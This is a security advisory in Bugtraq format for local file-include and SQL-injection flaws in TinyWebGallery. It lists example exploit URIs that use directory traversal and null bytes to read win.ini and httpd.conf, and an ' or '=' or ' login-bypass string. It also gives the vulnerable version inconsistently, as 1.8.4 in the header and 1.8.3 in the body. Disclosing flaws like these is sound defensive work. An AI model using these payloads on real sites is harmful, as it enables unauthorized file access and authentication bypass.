TinyWebGallery Local File Include and SQL Injection Vulnerabilities

Bugtraq ID:	49393
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 31 2011 12:00AM
Updated:	Mar 19 2015 09:22AM
Credit:	KedAns-Dz
Vulnerable:	TinyWebGallery TinyWebGallery 1.8.4
Not Vulnerable:

TinyWebGallery Local File Include and SQL Injection Vulnerabilities

TinyWebGallery is prone to multiple local file-include and SQL-injection vulnerabilities.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

TinyWebGallery 1.8.3 is vulnerable; other versions may also be affected.

TinyWebGallery Local File Include and SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/upload/tfu_213.swf?base=C:\windows\win.ini%00&lang=en
http://www.example.com/admin/upload/tfu_upload.php?workaround_dir=../../../../../../../../httpd.conf%00
http://www.example.com/admin/tfu_login.php?install_path=../../../../../../../../httpd.conf%00

http://www.example.com/admin/upload/tfu_213.swf =>>
=>> If login :
-> Auth ByPass =
-- user = ' or '=' or '
-- pass = ' or '=' or '

TinyWebGallery Local File Include and SQL Injection Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

TinyWebGallery Local File Include and SQL Injection Vulnerabilities

References:

• TinyWebGallery Homepage (TinyWebGallery)